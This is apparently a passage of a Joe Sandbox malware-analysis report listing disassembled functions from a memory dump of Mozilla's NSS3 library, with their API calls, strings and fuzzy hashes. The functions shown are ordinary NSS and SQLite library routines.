PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE64F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE64FC8

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 29e4d7f134591c1cae88a331bffe593e46d4da9f73339492874de3b5133e56c1
Instruction ID: d2a4c970f5aeb897f4cbbadc938832c6944a5939833226843180caecaac7a040
Opcode Fuzzy Hash: 29e4d7f134591c1cae88a331bffe593e46d4da9f73339492874de3b5133e56c1
Instruction Fuzzy Hash: 2F81C071A583019FE701CF26D851B5AB7F4AB85308F24892EF958DBB41E731E9058B92

Function 6CEA5C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6CEA5C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6CEA5CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6CEA5CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6CEA5D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6CEA5D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA5D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CEA5E18
TlsGetValue.KERNEL32 ref: 6CEA5E5E
EnterCriticalSection.KERNEL32(?), ref: 6CEA5E72
PR_Unlock.NSS3(?), ref: 6CEA5E8B

Part of subcall function 6CE9F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CE9F854
Part of subcall function 6CE9F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CE9F868
Part of subcall function 6CE9F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CE9F882
Part of subcall function 6CE9F820: free.MOZGLUE(04C483FF,?,?), ref: 6CE9F889
Part of subcall function 6CE9F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CE9F8A4
Part of subcall function 6CE9F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CE9F8AB
Part of subcall function 6CE9F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CE9F8C9
Part of subcall function 6CE9F820: free.MOZGLUE(280F10EC,?,?), ref: 6CE9F8D0

Strings

tokens=[0x%x=<%s>], xrefs: 6CEA5D3D
d, xrefs: 6CEA5C36

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: e139f74333f75b091f247ce0d31d4bff69fe193082326d0658c465ad8e36a05a
Instruction ID: 1537394ea45c457696cdf3f4d02eba8edd49803efded1319eeedc801370f69a4
Opcode Fuzzy Hash: e139f74333f75b091f247ce0d31d4bff69fe193082326d0658c465ad8e36a05a
Instruction Fuzzy Hash: FF71E3B1E06601AFEB009FA4DC4576E7375AF4131CF344439E8099EB42EB36E917C692

Function 6CE98F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CE99582), ref: 6CE98F5B

Part of subcall function 6CEABE30: SECOID_FindOID_Util.NSS3(6CE6311B,00000000,?,6CE6311B,?), ref: 6CEABE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CE98F6A

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CE98FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6CE98FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6CF7D820,6CE99576), ref: 6CE98FF9
DER_GetInteger_Util.NSS3(?), ref: 6CE9901D
PORT_ZAlloc_Util.NSS3(?), ref: 6CE9903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE99062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CE990A2
PORT_ZAlloc_Util.NSS3(?), ref: 6CE990CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6CE990F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CE9912D
free.MOZGLUE(00000000), ref: 6CE99136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CE99145

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 0513a3c24328ce2c61f3c068a86fa04351536fef0936476f464284d48f7e2ac7
Instruction ID: 1db336200b021d3cd09bd6e48ab35a144c50b4d0b1a6a6c73b3fb1422aebdfc6
Opcode Fuzzy Hash: 0513a3c24328ce2c61f3c068a86fa04351536fef0936476f464284d48f7e2ac7
Instruction Fuzzy Hash: AF51D1B2A042009FEB10CF29DC41B9BB7F4AF84318F254529E85997751E735E945CB92

Function 6CE4AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CE4AF47

Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190AB
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190C9
Part of subcall function 6CF19090: EnterCriticalSection.KERNEL32 ref: 6CF190E5
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF19116
Part of subcall function 6CF19090: LeaveCriticalSection.KERNEL32 ref: 6CF1913F

FreeLibrary.KERNEL32(?), ref: 6CE4AF6D
free.MOZGLUE(?), ref: 6CE4AFA4
free.MOZGLUE(?), ref: 6CE4AFAA
PR_ExitMonitor.NSS3 ref: 6CE4AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CE4AFF5
PR_ExitMonitor.NSS3 ref: 6CE4B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CE4B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CE4B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CE4B03C

Strings

Unloaded library %s, xrefs: 6CE4B023
%s decr => %d, xrefs: 6CE4AFF0

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 2cd3ff4d83d5b0b5973c2a365a721f46b3aff920634c8b0446012b98bebd0d82
Instruction ID: f4399ed8710989319086a42e1f23b64c8a7ea266d58070eb7215c6992e4dcbae
Opcode Fuzzy Hash: 2cd3ff4d83d5b0b5973c2a365a721f46b3aff920634c8b0446012b98bebd0d82
Instruction Fuzzy Hash: FB31D4B5F44511ABEB019F65EC82B19B776EB0532DB38C139E80587B40F722E825C7E5

Function 6CE96C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CE9781D,00000000,6CE8BE2C,?,6CE96B1D,?,?,?,?,00000000,00000000,6CE9781D), ref: 6CE96C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CE9781D,?,6CE8BE2C,?), ref: 6CE96C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CE9781D), ref: 6CE96C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CE96C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CE96C96

Part of subcall function 6CE41240: TlsGetValue.KERNEL32(00000040,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE41267
Part of subcall function 6CE41240: EnterCriticalSection.KERNEL32(?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE4127C
Part of subcall function 6CE41240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE41291
Part of subcall function 6CE41240: PR_Unlock.NSS3(?,?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE412A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CE96CAA

Strings

NSS_DEFAULT_DB_TYPE, xrefs: 6CE96C91
extern:, xrefs: 6CE96C7E
rdb:, xrefs: 6CE96C69
dbm:, xrefs: 6CE96C3A
sql:, xrefs: 6CE96C52
dbm, xrefs: 6CE96CA4

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: b86d0a08edf9ee7d5bf875924b56e7ab6a3884b9ccf6ae9f1eae2966b7e88702
Instruction ID: a8273d1161c51c89e4fef239ae82fed38083e58e9670bc18c664b318574b23e8
Opcode Fuzzy Hash: b86d0a08edf9ee7d5bf875924b56e7ab6a3884b9ccf6ae9f1eae2966b7e88702
Instruction Fuzzy Hash: EA01A2A1B0230267FA8027BA6D8AF66756C9F4115CF340433FE14E0A81EB93E91580E6

Function 6CEA4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CE678F8), ref: 6CEA4E6D

Part of subcall function 6CE409E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CE406A2,00000000,?), ref: 6CE409F8
Part of subcall function 6CE409E0: malloc.MOZGLUE(0000001F), ref: 6CE40A18
Part of subcall function 6CE409E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CE40A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CE678F8), ref: 6CEA4ED9

Part of subcall function 6CE95920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6CE97703,?,00000000,00000000), ref: 6CE95942
Part of subcall function 6CE95920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CE97703), ref: 6CE95954
Part of subcall function 6CE95920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CE9596A
Part of subcall function 6CE95920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CE95984
Part of subcall function 6CE95920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6CE95999
Part of subcall function 6CE95920: free.MOZGLUE(00000000), ref: 6CE959BA
Part of subcall function 6CE95920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6CE959D3
Part of subcall function 6CE95920: free.MOZGLUE(00000000), ref: 6CE959F5
Part of subcall function 6CE95920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6CE95A0A
Part of subcall function 6CE95920: free.MOZGLUE(00000000), ref: 6CE95A2E
Part of subcall function 6CE95920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6CE95A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA4EB3

Part of subcall function 6CEA4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CEA4EB8,?,?,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA484C
Part of subcall function 6CEA4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CEA4EB8,?,?,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA486D
Part of subcall function 6CEA4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CEA4EB8,?), ref: 6CEA4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA4EC0

Part of subcall function 6CEA4470: TlsGetValue.KERNEL32(00000000,?,6CE67296,00000000), ref: 6CEA4487
Part of subcall function 6CEA4470: EnterCriticalSection.KERNEL32(?,?,?,6CE67296,00000000), ref: 6CEA44A0
Part of subcall function 6CEA4470: PR_Unlock.NSS3(?,?,?,?,6CE67296,00000000), ref: 6CEA44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA4F8F
PK11_UpdateSlotAttribute.NSS3(?,6CF7DCB0,00000000), ref: 6CEA4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6CEA501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA506B

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 913ba793c25b92f11224f37ab560708a2f3452da8a2ce1b2a12aa0aadb7e2f68
Instruction ID: 8cea068cfdbc06d3dc24f56db6dbb8a351372a5958a5fdf83769cb46cca49ade
Opcode Fuzzy Hash: 913ba793c25b92f11224f37ab560708a2f3452da8a2ce1b2a12aa0aadb7e2f68
Instruction Fuzzy Hash: 7E5135B5D01601DFEB109FA5EC41A9A76B4FF0531CF34563AEC068AB12FB32D516CA92

Function 6CE4ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE4ACE2
malloc.MOZGLUE(00000001), ref: 6CE4ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE4AD02
TlsGetValue.KERNEL32 ref: 6CE4AD3C
calloc.MOZGLUE(00000001,?), ref: 6CE4AD8C
PR_Unlock.NSS3 ref: 6CE4ADC0
free.MOZGLUE(00000000), ref: 6CE4AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CE4AE58
free.MOZGLUE(00000000), ref: 6CE4AE69
free.MOZGLUE(?), ref: 6CE4AE78
PR_Unlock.NSS3 ref: 6CE4AE8C
free.MOZGLUE(?), ref: 6CE4AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE4AEC7

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 6c253a52ca09d483b3c5d484564bfe64649ab4a2eedc5e3a0ff692ec092fe3f7
Instruction ID: 17c015584c4362e378ad82e2521f92865df01d467106ede577c4988e95b5cca1
Opcode Fuzzy Hash: 6c253a52ca09d483b3c5d484564bfe64649ab4a2eedc5e3a0ff692ec092fe3f7
Instruction Fuzzy Hash: AE51D2B5E50116CBDB40DF94EC80BAEB774AB0635CF248035D814A3B00D331A955CBD6

Function 6CE8ADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6CE8ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE8AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE8AE29

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE8AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CE8AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE8AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6CE8AEA0

Strings

hSession = 0x%x, xrefs: 6CE8AE01, 6CE8AE11
(CK_INVALID_HANDLE), xrefs: 6CE8AE1F, 6CE8AE80
hKey = 0x%x, xrefs: 6CE8AE62, 6CE8AE72
C_MessageSignInit, xrefs: 6CE8ADE1

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: cb5e8960e2790ea2f51c24ce6364e6b2102ae90d5abcc023479d0fe416d462e9
Instruction ID: 994ed6a6f42b30f7905dff42c116c77549110a27f5702138807cd5e46bdf6f60
Opcode Fuzzy Hash: cb5e8960e2790ea2f51c24ce6364e6b2102ae90d5abcc023479d0fe416d462e9
Instruction Fuzzy Hash: AD310871A52104AFCB00DF14EDC8FAA3775AB4630DF154829E90D6BB91DB319848CBB5

Function 6CE89EE0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6CE89F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE89F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE89F49

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE89F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CE89F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE89FAA
PR_LogPrint.NSS3(?,00000000), ref: 6CE89FC0

Strings

C_MessageEncryptInit, xrefs: 6CE89F01
hSession = 0x%x, xrefs: 6CE89F21, 6CE89F31
(CK_INVALID_HANDLE), xrefs: 6CE89F3F, 6CE89FA0
hKey = 0x%x, xrefs: 6CE89F82, 6CE89F92

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit
API String ID: 332880674-1139731676
Opcode ID: 6818ac320c44af68a80f6a3bf36902f9e490cc72207004aa0c170896188ad493
Instruction ID: eea947c051fd7f7a8518cd36bb3a6c584008e37704d37620cfa1dcde1e070892
Opcode Fuzzy Hash: 6818ac320c44af68a80f6a3bf36902f9e490cc72207004aa0c170896188ad493
Instruction Fuzzy Hash: 67312671E02204AFCB04DF54EC89BBE3776AB4630CF194429E90D6BB81DB359808CBA5

Function 6CF24C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CF24CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF24CFD
sqlite3_value_text16.NSS3(?), ref: 6CF24D44

Strings

invalid, xrefs: 6CF24CF1
API call with %s database connection pointer, xrefs: 6CF24CF6
no more rows available, xrefs: 6CF24D2E
abort due to ROLLBACK, xrefs: 6CF24D27, 6CF24D33
out of memory, xrefs: 6CF24C78, 6CF24C9E
another row available, xrefs: 6CF24D20
unknown error, xrefs: 6CF24D56
bad parameter or other API misuse, xrefs: 6CF24D05

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 2748e22263c01ee18d1f66f294609716cef58cf67c9e188665b24618a457276c
Instruction ID: 26b5fdec3cb22a14424f2cd9cc583d1b0c56d36a3982b3c765d5482606909821
Opcode Fuzzy Hash: 2748e22263c01ee18d1f66f294609716cef58cf67c9e188665b24618a457276c
Instruction Fuzzy Hash: 4931AE73E89811A7D7094AACA8117E6BF71BB82318F550129D8244BF55C7EDAC2187E2

Function 6CE82DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6CE82DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE82E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE82E33

Part of subcall function 6CF6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF6D963

